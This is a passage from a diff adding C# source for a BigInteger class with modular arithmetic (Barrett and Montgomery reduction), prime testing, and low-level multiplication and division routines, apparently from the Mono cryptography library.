bytePos = bitNum >> 5; // divide by 32 + + if (bytePos < this.length) { + uint mask = (uint)1 << (int)(bitNum & 0x1F); + if (value) + this.data[bytePos] |= mask; + else + this.data[bytePos] &= ~mask; + } + } + + public int LowestSetBit() { + if (this == 0) return -1; + int i = 0; + while (!TestBit(i)) i++; + return i; + } + + public byte[] GetBytes() { + if (this == 0) return new byte[1]; + + int numBits = BitCount(); + int numBytes = numBits >> 3; + if ((numBits & 0x7) != 0) + numBytes++; + + byte[] result = new byte[numBytes]; + + int numBytesInWord = numBytes & 0x3; + if (numBytesInWord == 0) numBytesInWord = 4; + + int pos = 0; + for (int i = (int)length - 1; i >= 0; i--) { + uint val = data[i]; + for (int j = numBytesInWord - 1; j >= 0; j--) { + result[pos + j] = (byte)(val & 0xFF); + val >>= 8; + } + pos += numBytesInWord; + numBytesInWord = 4; + } + return result; + } + + #endregion + + #region Compare + + public static bool operator ==(BigInteger bi1, uint ui) { + if (bi1.length != 1) bi1.Normalize(); + return bi1.length == 1 && bi1.data[0] == ui; + } + + public static bool operator !=(BigInteger bi1, uint ui) { + if (bi1.length != 1) bi1.Normalize(); + return !(bi1.length == 1 && bi1.data[0] == ui); + } + + public static bool operator ==(BigInteger bi1, BigInteger bi2) { + // we need to compare with null + if ((bi1 as object) == (bi2 as object)) + return true; + if (null == bi1 || null == bi2) + return false; + return Kernel.Compare(bi1, bi2) == 0; + } + + public static bool operator !=(BigInteger bi1, BigInteger bi2) { + // we need to compare with null + if ((bi1 as object) == (bi2 as object)) + return false; + if (null == bi1 || null == bi2) + return true; + return Kernel.Compare(bi1, bi2) != 0; + } + + public static bool operator >(BigInteger bi1, BigInteger bi2) { + return Kernel.Compare(bi1, bi2) > 0; + } + + public static bool operator <(BigInteger bi1, BigInteger bi2) { + return Kernel.Compare(bi1, bi2) < 0; + } + + public static bool operator >=(BigInteger bi1, BigInteger bi2) { + return Kernel.Compare(bi1, bi2) >= 0; + } + + public static bool operator <=(BigInteger bi1, BigInteger bi2) { + return Kernel.Compare(bi1, bi2) <= 0; + } + + public Sign Compare(BigInteger bi) { + return Kernel.Compare(this, bi); + } + + #endregion + + #region Formatting + + public string ToString(uint radix) { + return ToString(radix, "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"); + } + + public string ToString(uint radix, string characterSet) { + if (characterSet.Length < radix) + throw new ArgumentException("charSet length less than radix", "characterSet"); + if (radix == 1) + throw new ArgumentException("There is no such thing as radix one notation", "radix"); + + if (this == 0) return "0"; + if (this == 1) return "1"; + + string result = ""; + + BigInteger a = new BigInteger(this); + + while (a != 0) { + uint rem = Kernel.SingleByteDivideInPlace(a, radix); + result = characterSet[(int)rem] + result; + } + + return result; + } + + #endregion + + #region Misc + + /// + /// Normalizes this by setting the length to the actual number of + /// uints used in data and by setting the sign to Sign.Zero if the + /// value of this is 0. + /// + private void Normalize() { + // Normalize length + while (length > 0 && data[length - 1] == 0) length--; + + // Check for zero + if (length == 0) + length++; + } + + public void Clear() { + for (int i = 0; i < length; i++) + data[i] = 0x00; + } + + #endregion + + #region Object Impl + + public override int GetHashCode() { + uint val = 0; + + for (uint i = 0; i < this.length; i++) + val ^= this.data[i]; + + return (int)val; + } + + public override string ToString() { + return ToString(10); + } + + public override bool Equals(object o) { + if (o == null) + return false; + if (o is int) + return (int)o >= 0 && this == (uint)o; + + BigInteger bi = o as BigInteger; + if (bi == null) + return false; + + return Kernel.Compare(this, bi) == 0; + } + + #endregion + + #region Number Theory + + public BigInteger GCD(BigInteger bi) { + return Kernel.gcd(this, bi); + } + + public BigInteger ModInverse(BigInteger modulus) { + return Kernel.modInverse(this, modulus); + } + + public BigInteger ModPow(BigInteger exp, BigInteger n) { + ModulusRing mr = new ModulusRing(n); + return mr.Pow(this, exp); + } + + #endregion + + #region Prime Testing + + public bool IsProbablePrime() { + // can we use our small-prime table ? + if (this <= smallPrimes[smallPrimes.Length - 1]) { + for (int p = 0; p < smallPrimes.Length; p++) { + if (this == smallPrimes[p]) + return true; + } + // the list is complete, so it's not a prime + return false; + } + + // otherwise check if we can divide by one of the small primes + for (int p = 0; p < smallPrimes.Length; p++) { + if (this % smallPrimes[p] == 0) + return false; + } + // the last step is to confirm the "large" prime with the SPP or Miller-Rabin test + return PrimalityTests.Test(this, Prime.ConfidenceFactor.Medium); + } + + #endregion + + #region Prime Number Generation + + /// + /// Generates the smallest prime >= bi + /// + /// A BigInteger + /// The smallest prime >= bi. More mathematically, if bi is prime: bi, else Prime [PrimePi [bi] + 1]. + public static BigInteger NextHighestPrime(BigInteger bi) { + NextPrimeFinder npf = new NextPrimeFinder(); + return npf.GenerateNewPrime(0, bi); + } + + public static BigInteger GeneratePseudoPrime(int bits) { + SequentialSearchPrimeGeneratorBase sspg = new SequentialSearchPrimeGeneratorBase(); + return sspg.GenerateNewPrime(bits); + } + + /// + /// Increments this by two + /// + public void Incr2() { + int i = 0; + + data[0] += 2; + + // If there was no carry, nothing to do + if (data[0] < 2) { + + // Account for the first carry + data[++i]++; + + // Keep adding until no carry + while (data[i++] == 0x0) + data[i]++; + + // See if we increased the data length + if (length == (uint)i) + length++; + } + } + + #endregion + +#if INSIDE_CORLIB + internal +#else + public +#endif + sealed class ModulusRing { + + BigInteger mod, constant; + + public ModulusRing(BigInteger modulus) { + this.mod = modulus; + + // calculate constant = b^ (2k) / m + uint i = mod.length << 1; + + constant = new BigInteger(Sign.Positive, i + 1); + constant.data[i] = 0x00000001; + + constant = constant / mod; + } + + public void BarrettReduction(BigInteger x) { + BigInteger n = mod; + uint k = n.length, + kPlusOne = k + 1, + kMinusOne = k - 1; + + // x < mod, so nothing to do. + if (x.length < k) return; + + BigInteger q3; + + // + // Validate pointers + // + if (x.data.Length < x.length) throw new IndexOutOfRangeException("x out of range"); + + // q1 = x / b^ (k-1) + // q2 = q1 * constant + // q3 = q2 / b^ (k+1), Needs to be accessed with an offset of kPlusOne + + // TODO: We should the method in HAC p 604 to do this (14.45) + q3 = new BigInteger(Sign.Positive, x.length - kMinusOne + constant.length); + Kernel.Multiply(x.data, kMinusOne, x.length - kMinusOne, constant.data, 0, constant.length, q3.data, 0); + + // r1 = x mod b^ (k+1) + // i.e. keep the lowest (k+1) words + + uint lengthToCopy = (x.length > kPlusOne) ? kPlusOne : x.length; + + x.length = lengthToCopy; + x.Normalize(); + + // r2 = (q3 * n) mod b^ (k+1) + // partial multiplication of q3 and n + + BigInteger r2 = new BigInteger(Sign.Positive, kPlusOne); + Kernel.MultiplyMod2p32pmod(q3.data, (int)kPlusOne, (int)q3.length - (int)kPlusOne, n.data, 0, (int)n.length, r2.data, 0, (int)kPlusOne); + + r2.Normalize(); + + if (r2 <= x) { + Kernel.MinusEq(x, r2); + } else { + BigInteger val = new BigInteger(Sign.Positive, kPlusOne + 1); + val.data[kPlusOne] = 0x00000001; + + Kernel.MinusEq(val, r2); + Kernel.PlusEq(x, val); + } + + while (x >= n) + Kernel.MinusEq(x, n); + } + + public BigInteger Multiply(BigInteger a, BigInteger b) { + if (a == 0 || b == 0) return 0; + + if (a > mod) + a %= mod; + + if (b > mod) + b %= mod; + + BigInteger ret = a * b; + BarrettReduction(ret); + + return ret; + } + + public BigInteger Difference(BigInteger a, BigInteger b) { + Sign cmp = Kernel.Compare(a, b); + BigInteger diff; + + switch (cmp) { + case Sign.Zero: + return 0; + case Sign.Positive: + diff = a - b; break; + case Sign.Negative: + diff = b - a; break; + default: + throw new Exception(); + } + + if (diff >= mod) { + if (diff.length >= mod.length << 1) + diff %= mod; + else + BarrettReduction(diff); + } + if (cmp == Sign.Negative) + diff = mod - diff; + return diff; + } +#if true + public BigInteger Pow(BigInteger a, BigInteger k) { + BigInteger b = new BigInteger(1); + if (k == 0) + return b; + + BigInteger A = a; + if (k.TestBit(0)) + b = a; + + for (int i = 1; i < k.BitCount(); i++) { + A = Multiply(A, A); + if (k.TestBit(i)) + b = Multiply(A, b); + } + return b; + } +#else + public BigInteger Pow (BigInteger b, BigInteger exp) + { + if ((mod.data [0] & 1) == 1) return OddPow (b, exp); + else return EvenPow (b, exp); + } + + public BigInteger EvenPow (BigInteger b, BigInteger exp) + { + BigInteger resultNum = new BigInteger ((BigInteger)1, mod.length << 1); + BigInteger tempNum = new BigInteger (b % mod, mod.length << 1); // ensures (tempNum * tempNum) < b^ (2k) + + uint totalBits = (uint)exp.BitCount (); + + uint [] wkspace = new uint [mod.length << 1]; + + // perform squaring and multiply exponentiation + for (uint pos = 0; pos < totalBits; pos++) { + if (exp.TestBit (pos)) { + + Array.Clear (wkspace, 0, wkspace.Length); + Kernel.Multiply (resultNum.data, 0, resultNum.length, tempNum.data, 0, tempNum.length, wkspace, 0); + resultNum.length += tempNum.length; + uint [] t = wkspace; + wkspace = resultNum.data; + resultNum.data = t; + + BarrettReduction (resultNum); + } + + Kernel.SquarePositive (tempNum, ref wkspace); + BarrettReduction (tempNum); + + if (tempNum == 1) { + return resultNum; + } + } + + return resultNum; + } + + private BigInteger OddPow (BigInteger b, BigInteger exp) + { + BigInteger resultNum = new BigInteger (Montgomery.ToMont (1, mod), mod.length << 1); + BigInteger tempNum = new BigInteger (Montgomery.ToMont (b, mod), mod.length << 1); // ensures (tempNum * tempNum) < b^ (2k) + uint mPrime = Montgomery.Inverse (mod.data [0]); + uint totalBits = (uint)exp.BitCount (); + + uint [] wkspace = new uint [mod.length << 1]; + + // perform squaring and multiply exponentiation + for (uint pos = 0; pos < totalBits; pos++) { + if (exp.TestBit (pos)) { + + Array.Clear (wkspace, 0, wkspace.Length); + Kernel.Multiply (resultNum.data, 0, resultNum.length, tempNum.data, 0, tempNum.length, wkspace, 0); + resultNum.length += tempNum.length; + uint [] t = wkspace; + wkspace = resultNum.data; + resultNum.data = t; + + Montgomery.Reduce (resultNum, mod, mPrime); + } + + // the value of tempNum is required in the last loop + if (pos < totalBits - 1) { + Kernel.SquarePositive (tempNum, ref wkspace); + Montgomery.Reduce (tempNum, mod, mPrime); + } + } + + Montgomery.Reduce (resultNum, mod, mPrime); + return resultNum; + } +#endif + #region Pow Small Base + + // TODO: Make tests for this, not really needed b/c prime stuff + // checks it, but still would be nice +#if true + public BigInteger Pow(uint b, BigInteger exp) { + return Pow(new BigInteger(b), exp); + } +#else + public BigInteger Pow (uint b, BigInteger exp) + { +// if (b != 2) { + if ((mod.data [0] & 1) == 1) + return OddPow (b, exp); + else + return EvenPow (b, exp); +/* buggy in some cases (like the well tested primes) + } else { + if ((mod.data [0] & 1) == 1) + return OddModTwoPow (exp); + else + return EvenModTwoPow (exp); + }*/ + } + + private unsafe BigInteger OddPow (uint b, BigInteger exp) + { + exp.Normalize (); + uint [] wkspace = new uint [mod.length << 1 + 1]; + + BigInteger resultNum = Montgomery.ToMont ((BigInteger)b, this.mod); + resultNum = new BigInteger (resultNum, mod.length << 1 +1); + + uint mPrime = Montgomery.Inverse (mod.data [0]); + + int bc = exp.BitCount () - 2; + uint pos = (bc > 1 ? (uint) bc : 1); + + // + // We know that the first itr will make the val b + // + + do { + // + // r = r ^ 2 % m + // + Kernel.SquarePositive (resultNum, ref wkspace); + resultNum = Montgomery.Reduce (resultNum, mod, mPrime); + + if (exp.TestBit (pos)) { + + // + // r = r * b % m + // + + // TODO: Is Unsafe really speeding things up? + fixed (uint* u = resultNum.data) { + + uint i = 0; + ulong mc = 0; + + do { + mc += (ulong)u [i] * (ulong)b; + u [i] = (uint)mc; + mc >>= 32; + } while (++i < resultNum.length); + + if (resultNum.length < mod.length) { + if (mc != 0) { + u [i] = (uint)mc; + resultNum.length++; + while (resultNum >= mod) + Kernel.MinusEq (resultNum, mod); + } + } else if (mc != 0) { + + // + // First, we estimate the quotient by dividing + // the first part of each of the numbers. Then + // we correct this, if necessary, with a subtraction. + // + + uint cc = (uint)mc; + + // We would rather have this estimate overshoot, + // so we add one to the divisor + uint divEstimate; + if (mod.data [mod.length - 1] < UInt32.MaxValue) { + divEstimate = (uint) ((((ulong)cc << 32) | (ulong) u [i -1]) / + (mod.data [mod.length-1] + 1)); + } + else { + // guess but don't divide by 0 + divEstimate = (uint) ((((ulong)cc << 32) | (ulong) u [i -1]) / + (mod.data [mod.length-1])); + } + + uint t; + + i = 0; + mc = 0; + do { + mc += (ulong)mod.data [i] * (ulong)divEstimate; + t = u [i]; + u [i] -= (uint)mc; + mc >>= 32; + if (u [i] > t) mc++; + i++; + } while (i < resultNum.length); + cc -= (uint)mc; + + if (cc != 0) { + + uint sc = 0, j = 0; + uint [] s = mod.data; + do { + uint a = s [j]; + if (((a += sc) < sc) | ((u [j] -= a) > ~a)) sc = 1; + else sc = 0; + j++; + } while (j < resultNum.length); + cc -= sc; + } + while (resultNum >= mod) + Kernel.MinusEq (resultNum, mod); + } else { + while (resultNum >= mod) + Kernel.MinusEq (resultNum, mod); + } + } + } + } while (pos-- > 0); + + resultNum = Montgomery.Reduce (resultNum, mod, mPrime); + return resultNum; + + } + + private unsafe BigInteger EvenPow (uint b, BigInteger exp) + { + exp.Normalize (); + uint [] wkspace = new uint [mod.length << 1 + 1]; + BigInteger resultNum = new BigInteger ((BigInteger)b, mod.length << 1 + 1); + + uint pos = (uint)exp.BitCount () - 2; + + // + // We know that the first itr will make the val b + // + + do { + // + // r = r ^ 2 % m + // + Kernel.SquarePositive (resultNum, ref wkspace); + if (!(resultNum.length < mod.length)) + BarrettReduction (resultNum); + + if (exp.TestBit (pos)) { + + // + // r = r * b % m + // + + // TODO: Is Unsafe really speeding things up? + fixed (uint* u = resultNum.data) { + + uint i = 0; + ulong mc = 0; + + do { + mc += (ulong)u [i] * (ulong)b; + u [i] = (uint)mc; + mc >>= 32; + } while (++i < resultNum.length); + + if (resultNum.length < mod.length) { + if (mc != 0) { + u [i] = (uint)mc; + resultNum.length++; + while (resultNum >= mod) + Kernel.MinusEq (resultNum, mod); + } + } else if (mc != 0) { + + // + // First, we estimate the quotient by dividing + // the first part of each of the numbers. Then + // we correct this, if necessary, with a subtraction. + // + + uint cc = (uint)mc; + + // We would rather have this estimate overshoot, + // so we add one to the divisor + uint divEstimate = (uint) ((((ulong)cc << 32) | (ulong) u [i -1]) / + (mod.data [mod.length-1] + 1)); + + uint t; + + i = 0; + mc = 0; + do { + mc += (ulong)mod.data [i] * (ulong)divEstimate; + t = u [i]; + u [i] -= (uint)mc; + mc >>= 32; + if (u [i] > t) mc++; + i++; + } while (i < resultNum.length); + cc -= (uint)mc; + + if (cc != 0) { + + uint sc = 0, j = 0; + uint [] s = mod.data; + do { + uint a = s [j]; + if (((a += sc) < sc) | ((u [j] -= a) > ~a)) sc = 1; + else sc = 0; + j++; + } while (j < resultNum.length); + cc -= sc; + } + while (resultNum >= mod) + Kernel.MinusEq (resultNum, mod); + } else { + while (resultNum >= mod) + Kernel.MinusEq (resultNum, mod); + } + } + } + } while (pos-- > 0); + + return resultNum; + } +#endif + /* known to be buggy in some cases */ +#if false + private unsafe BigInteger EvenModTwoPow (BigInteger exp) + { + exp.Normalize (); + uint [] wkspace = new uint [mod.length << 1 + 1]; + + BigInteger resultNum = new BigInteger (2, mod.length << 1 +1); + + uint value = exp.data [exp.length - 1]; + uint mask = 0x80000000; + + // Find the first bit of the exponent + while ((value & mask) == 0) + mask >>= 1; + + // + // We know that the first itr will make the val 2, + // so eat one bit of the exponent + // + mask >>= 1; + + uint wPos = exp.length - 1; + + do { + value = exp.data [wPos]; + do { + Kernel.SquarePositive (resultNum, ref wkspace); + if (resultNum.length >= mod.length) + BarrettReduction (resultNum); + + if ((value & mask) != 0) { + // + // resultNum = (resultNum * 2) % mod + // + + fixed (uint* u = resultNum.data) { + // + // Double + // + uint* uu = u; + uint* uuE = u + resultNum.length; + uint x, carry = 0; + while (uu < uuE) { + x = *uu; + *uu = (x << 1) | carry; + carry = x >> (32 - 1); + uu++; + } + + // subtraction inlined because we know it is square + if (carry != 0 || resultNum >= mod) { + uu = u; + uint c = 0; + uint [] s = mod.data; + uint i = 0; + do { + uint a = s [i]; + if (((a += c) < c) | ((* (uu++) -= a) > ~a)) + c = 1; + else + c = 0; + i++; + } while (uu < uuE); + } + } + } + } while ((mask >>= 1) > 0); + mask = 0x80000000; + } while (wPos-- > 0); + + return resultNum; + } + + private unsafe BigInteger OddModTwoPow (BigInteger exp) + { + + uint [] wkspace = new uint [mod.length << 1 + 1]; + + BigInteger resultNum = Montgomery.ToMont ((BigInteger)2, this.mod); + resultNum = new BigInteger (resultNum, mod.length << 1 +1); + + uint mPrime = Montgomery.Inverse (mod.data [0]); + + // + // TODO: eat small bits, the ones we can do with no modular reduction + // + uint pos = (uint)exp.BitCount () - 2; + + do { + Kernel.SquarePositive (resultNum, ref wkspace); + resultNum = Montgomery.Reduce (resultNum, mod, mPrime); + + if (exp.TestBit (pos)) { + // + // resultNum = (resultNum * 2) % mod + // + + fixed (uint* u = resultNum.data) { + // + // Double + // + uint* uu = u; + uint* uuE = u + resultNum.length; + uint x, carry = 0; + while (uu < uuE) { + x = *uu; + *uu = (x << 1) | carry; + carry = x >> (32 - 1); + uu++; + } + + // subtraction inlined because we know it is square + if (carry != 0 || resultNum >= mod) { + fixed (uint* s = mod.data) { + uu = u; + uint c = 0; + uint* ss = s; + do { + uint a = *ss++; + if (((a += c) < c) | ((* (uu++) -= a) > ~a)) + c = 1; + else + c = 0; + } while (uu < uuE); + } + } + } + } + } while (pos-- > 0); + + resultNum = Montgomery.Reduce (resultNum, mod, mPrime); + return resultNum; + } +#endif + #endregion + } + + /// + /// Low level functions for the BigInteger + /// + private sealed class Kernel { + + #region Addition/Subtraction + + /// + /// Adds two numbers with the same sign. + /// + /// A BigInteger + /// A BigInteger + /// bi1 + bi2 + public static BigInteger AddSameSign(BigInteger bi1, BigInteger bi2) { + uint[] x, y; + uint yMax, xMax, i = 0; + + // x should be bigger + if (bi1.length < bi2.length) { + x = bi2.data; + xMax = bi2.length; + y = bi1.data; + yMax = bi1.length; + } else { + x = bi1.data; + xMax = bi1.length; + y = bi2.data; + yMax = bi2.length; + } + + BigInteger result = new BigInteger(Sign.Positive, xMax + 1); + + uint[] r = result.data; + + ulong sum = 0; + + // Add common parts of both numbers + do { + sum = ((ulong)x[i]) + ((ulong)y[i]) + sum; + r[i] = (uint)sum; + sum >>= 32; + } while (++i < yMax); + + // Copy remainder of longer number while carry propagation is required + bool carry = (sum != 0); + + if (carry) { + + if (i < xMax) { + do + carry = ((r[i] = x[i] + 1) == 0); + while (++i < xMax && carry); + } + + if (carry) { + r[i] = 1; + result.length = ++i; + return result; + } + } + + // Copy the rest + if (i < xMax) { + do + r[i] = x[i]; + while (++i < xMax); + } + + result.Normalize(); + return result; + } + + public static BigInteger Subtract(BigInteger big, BigInteger small) { + BigInteger result = new BigInteger(Sign.Positive, big.length); + + uint[] r = result.data, b = big.data, s = small.data; + uint i = 0, c = 0; + + do { + + uint x = s[i]; + if (((x += c) < c) | ((r[i] = b[i] - x) > ~x)) + c = 1; + else + c = 0; + + } while (++i < small.length); + + if (i == big.length) goto fixup; + + if (c == 1) { + do + r[i] = b[i] - 1; + while (b[i++] == 0 && i < big.length); + + if (i == big.length) goto fixup; + } + + do + r[i] = b[i]; + while (++i < big.length); + + fixup: + + result.Normalize(); + return result; + } + + public static void MinusEq(BigInteger big, BigInteger small) { + uint[] b = big.data, s = small.data; + uint i = 0, c = 0; + + do { + uint x = s[i]; + if (((x += c) < c) | ((b[i] -= x) > ~x)) + c = 1; + else + c = 0; + } while (++i < small.length); + + if (i == big.length) goto fixup; + + if (c == 1) { + do + b[i]--; + while (b[i++] == 0 && i < big.length); + } + + fixup: + + // Normalize length + while (big.length > 0 && big.data[big.length - 1] == 0) big.length--; + + // Check for zero + if (big.length == 0) + big.length++; + + } + + public static void PlusEq(BigInteger bi1, BigInteger bi2) { + uint[] x, y; + uint yMax, xMax, i = 0; + bool flag = false; + + // x should be bigger + if (bi1.length < bi2.length) { + flag = true; + x = bi2.data; + xMax = bi2.length; + y = bi1.data; + yMax = bi1.length; + } else { + x = bi1.data; + xMax = bi1.length; + y = bi2.data; + yMax = bi2.length; + } + + uint[] r = bi1.data; + + ulong sum = 0; + + // Add common parts of both numbers + do { + sum += ((ulong)x[i]) + ((ulong)y[i]); + r[i] = (uint)sum; + sum >>= 32; + } while (++i < yMax); + + // Copy remainder of longer number while carry propagation is required + bool carry = (sum != 0); + + if (carry) { + + if (i < xMax) { + do + carry = ((r[i] = x[i] + 1) == 0); + while (++i < xMax && carry); + } + + if (carry) { + r[i] = 1; + bi1.length = ++i; + return; + } + } + + // Copy the rest + if (flag && i < xMax - 1) { + do + r[i] = x[i]; + while (++i < xMax); + } + + bi1.length = xMax + 1; + bi1.Normalize(); + } + + #endregion + + #region Compare + + /// + /// Compares two BigInteger + /// + /// A BigInteger + /// A BigInteger + /// The sign of bi1 - bi2 + public static Sign Compare(BigInteger bi1, BigInteger bi2) { + // + // Step 1. Compare the lengths + // + uint l1 = bi1.length, l2 = bi2.length; + + while (l1 > 0 && bi1.data[l1 - 1] == 0) l1--; + while (l2 > 0 && bi2.data[l2 - 1] == 0) l2--; + + if (l1 == 0 && l2 == 0) return Sign.Zero; + + // bi1 len < bi2 len + if (l1 < l2) return Sign.Negative; + // bi1 len > bi2 len + else if (l1 > l2) return Sign.Positive; + + // + // Step 2. Compare the bits + // + + uint pos = l1 - 1; + + while (pos != 0 && bi1.data[pos] == bi2.data[pos]) pos--; + + if (bi1.data[pos] < bi2.data[pos]) + return Sign.Negative; + else if (bi1.data[pos] > bi2.data[pos]) + return Sign.Positive; + else + return Sign.Zero; + } + + #endregion + + #region Division + + #region Dword + + /// + /// Performs n / d and n % d in one operation. + /// + /// A BigInteger, upon exit this will hold n / d + /// The divisor + /// n % d + public static uint SingleByteDivideInPlace(BigInteger n, uint d) { + ulong r = 0; + uint i = n.length; + + while (i-- > 0) { + r <<= 32; + r |= n.data[i]; + n.data[i] = (uint)(r / d); + r %= d; + } + n.Normalize(); + + return (uint)r; + } + + public static uint DwordMod(BigInteger n, uint d) { + ulong r = 0; + uint i = n.length; + + while (i-- > 0) { + r <<= 32; + r |= n.data[i]; + r %= d; + } + + return (uint)r; + } + + public static BigInteger DwordDiv(BigInteger n, uint d) { + BigInteger ret = new BigInteger(Sign.Positive, n.length); + + ulong r = 0; + uint i = n.length; + + while (i-- > 0) { + r <<= 32; + r |= n.data[i]; + ret.data[i] = (uint)(r / d); + r %= d; + } + ret.Normalize(); + + return ret; + } + + public static BigInteger[] DwordDivMod(BigInteger n, uint d) { + BigInteger ret = new BigInteger(Sign.Positive, n.length); + + ulong r = 0; + uint i = n.length; + + while (i-- > 0) { + r <<= 32; + r |= n.data[i]; + ret.data[i] = (uint)(r / d); + r %= d; + } + ret.Normalize(); + + BigInteger rem = (uint)r; + + return new BigInteger[] { ret, rem }; + } + + #endregion + + #region BigNum + + public static BigInteger[] multiByteDivide(BigInteger bi1, BigInteger bi2) { + if (Kernel.Compare(bi1, bi2) == Sign.Negative) + return new BigInteger[2] { 0, new BigInteger(bi1) }; + + bi1.Normalize(); bi2.Normalize(); + + if (bi2.length == 1) + return DwordDivMod(bi1, bi2.data[0]); + + uint remainderLen = bi1.length + 1; + int divisorLen = (int)bi2.length + 1; + + uint mask = 0x80000000; + uint val = bi2.data[bi2.length - 1]; + int shift = 0; + int resultPos = (int)bi1.length - (int)bi2.length; + + while (mask != 0 && (val & mask) == 0) { + shift++; mask >>= 1; + } + + BigInteger quot = new BigInteger(Sign.Positive, bi1.length - bi2.length + 1); + BigInteger rem = (bi1 << shift); + + uint[] remainder = rem.data; + + bi2 = bi2 << shift; + + int j = (int)(remainderLen - bi2.length); + int pos = (int)remainderLen - 1; + + uint firstDivisorByte = bi2.data[bi2.length - 1]; + ulong secondDivisorByte = bi2.data[bi2.length - 2]; + + while (j > 0) { + ulong dividend = ((ulong)remainder[pos] << 32) + (ulong)remainder[pos - 1]; + + ulong q_hat = dividend / (ulong)firstDivisorByte; + ulong r_hat = dividend % (ulong)firstDivisorByte; + + do { + + if (q_hat == 0x100000000 || + (q_hat * secondDivisorByte) > ((r_hat << 32) + remainder[pos - 2])) { + q_hat--; + r_hat += (ulong)firstDivisorByte; + + if (r_hat < 0x100000000) + continue; + } + break; + } while (true); + + // + // At this point, q_hat is either exact, or one too large + // (more likely to be exact) so, we attempt to multiply the + // divisor by q_hat, if we get a borrow, we just subtract + // one from q_hat and add the divisor back. + // + + uint t; + uint dPos = 0; + int nPos = pos - divisorLen + 1; + ulong mc = 0; + uint uint_q_hat = (uint)q_hat; + do { + mc += (ulong)bi2.data[dPos] * (ulong)uint_q_hat; + t = remainder[nPos]; + remainder[nPos] -= (uint)mc; + mc >>= 32; + if (remainder[nPos] > t) mc++; + dPos++; nPos++; + } while (dPos < divisorLen); + + nPos = pos - divisorLen + 1; + dPos = 0; + + // Overestimate + if (mc != 0) { + uint_q_hat--; + ulong sum = 0; + + do { + sum = ((ulong)remainder[nPos]) + ((ulong)bi2.data[dPos]) + sum; + remainder[nPos] = (uint)sum; + sum >>= 32; + dPos++; nPos++; + } while (dPos < divisorLen); + + } + + quot.data[resultPos--] = (uint)uint_q_hat; + + pos--; + j--; + } + + quot.Normalize(); + rem.Normalize(); + BigInteger[] ret = new BigInteger[2] { quot, rem }; + + if (shift != 0) + ret[1] >>= shift; + + return ret; + } + + #endregion + + #endregion + + #region Shift + public static BigInteger LeftShift(BigInteger bi, int n) { + if (n == 0) return new BigInteger(bi, bi.length + 1); + + int w = n >> 5; + n &= ((1 << 5) - 1); + + BigInteger ret = new BigInteger(Sign.Positive, bi.length + 1 + (uint)w); + + uint i = 0, l = bi.length; + if (n != 0) { + uint x, carry = 0; + while (i < l) { + x = bi.data[i]; + ret.data[i + w] = (x << n) | carry; + carry = x >> (32 - n); + i++; + } + ret.data[i + w] = carry; + } else { + while (i < l) { + ret.data[i + w] = bi.data[i]; + i++; + } + } + + ret.Normalize(); + return ret; + } + + public static BigInteger RightShift(BigInteger bi, int n) { + if (n == 0) return new BigInteger(bi); + + int w = n >> 5; + int s = n & ((1 << 5) - 1); + + BigInteger ret = new BigInteger(Sign.Positive, bi.length - (uint)w + 1); + uint l = (uint)ret.data.Length - 1; + + if (s != 0) { + + uint x, carry = 0; + + while (l-- > 0) { + x = bi.data[l + w]; + ret.data[l] = (x >> n) | carry; + carry = x << (32 - n); + } + } else { + while (l-- > 0) + ret.data[l] = bi.data[l + w]; + + } + ret.Normalize(); + return ret; + } + + #endregion + + #region Multiply + + public static BigInteger MultiplyByDword(BigInteger n, uint f) { + BigInteger ret = new BigInteger(Sign.Positive, n.length + 1); + + uint i = 0; + ulong c = 0; + + do { + c += (ulong)n.data[i] * (ulong)f; + ret.data[i] = (uint)c; + c >>= 32; + } while (++i < n.length); + ret.data[i] = (uint)c; + ret.Normalize(); + return ret; + + } + + /// + /// Multiplies the data in x [xOffset:xOffset+xLen] by + /// y [yOffset:yOffset+yLen] and puts it into + /// d [dOffset:dOffset+xLen+yLen]. + /// + /// + /// This code is unsafe! It is the caller's responsibility to make + /// sure that it is safe to access x [xOffset:xOffset+xLen], + /// y [yOffset:yOffset+yLen], and d [dOffset:dOffset+xLen+yLen]. + /// + public static unsafe void Multiply(uint[] x, uint xOffset, uint xLen, uint[] y, uint yOffset, uint yLen, uint[] d, uint dOffset) { + fixed (uint* xx = x, yy = y, dd = d) { + uint* xP = xx + xOffset, + xE = xP + xLen, + yB = yy + yOffset, + yE = yB + yLen, + dB = dd + dOffset; + + for (; xP < xE; xP++, dB++) { + + if (*xP == 0) continue; + + ulong mcarry = 0; + + uint* dP = dB; + for (uint* yP = yB; yP < yE; yP++, dP++) { + mcarry += ((ulong)*xP * (ulong)*yP) + (ulong)*dP; + + *dP = (uint)mcarry; + mcarry >>= 32; + } + + if (mcarry != 0) + *dP = (uint)mcarry; + } + } + } + + /// + /// Multiplies the data in x [xOffset:xOffset+xLen] by + /// y [yOffset:yOffset+yLen] and puts the low mod words into + /// d [dOffset:dOffset+mod]. + /// + /// + /// This code is unsafe! It is the caller's responsibility to make + /// sure that it is safe to access x [xOffset:xOffset+xLen], + /// y [yOffset:yOffset+yLen], and d [dOffset:dOffset+mod]. + /// + public static unsafe void MultiplyMod2p32pmod(uint[] x, int xOffset, int xLen, uint[] y, int yOffest, int yLen, uint[] d, int dOffset, int mod) { + fixed (uint* xx = x, yy = y, dd = d) { + uint* xP = xx + xOffset, + xE = xP + xLen, + yB = yy + yOffest, + yE = yB + yLen, + dB = dd + dOffset, + dE = dB + mod; + + for (; xP < xE; xP++, dB++) { + + if (*xP == 0) continue; + + ulong mcarry = 0; + uint* dP = dB; + for (uint* yP = yB; yP < yE && dP < dE; yP++, dP++) { + mcarry += ((ulong)*xP * (ulong)*yP) + (ulong)*dP; + + *dP = (uint)mcarry; + mcarry >>= 32; + } + + if (mcarry != 0 && dP < dE) + *dP = (uint)mcarry; + } + } + } + + public static unsafe void SquarePositive(BigInteger bi, ref uint[] wkSpace) { + uint[] t = wkSpace; + wkSpace = bi.data; + uint[] d = bi.data; + uint dl = bi.length; + bi.data = t; + + fixed (uint* dd = d, tt = t) { + + uint* ttE = tt + t.Length; + // Clear the dest + for (uint* ttt = tt; ttt < ttE; ttt++) + *ttt = 0; + + uint* dP = dd, tP = tt; + + for (uint i = 0; i < dl; i++, dP++) { + if (*dP == 0) + continue; + + ulong mcarry = 0; + uint bi1val = *dP; + + uint* dP2 = dP + 1, tP2 = tP + 2 * i + 1; + + for (uint j = i + 1; j < dl; j++, tP2++, dP2++) { + // k = i + j + mcarry += ((ulong)bi1val * (ulong)*dP2) + *tP2; + + *tP2 = (uint)mcarry; + mcarry >>= 32; + } + + if (mcarry != 0) + *tP2 = (uint)mcarry; + } + + // Double t. Inlined for speed. + + tP = 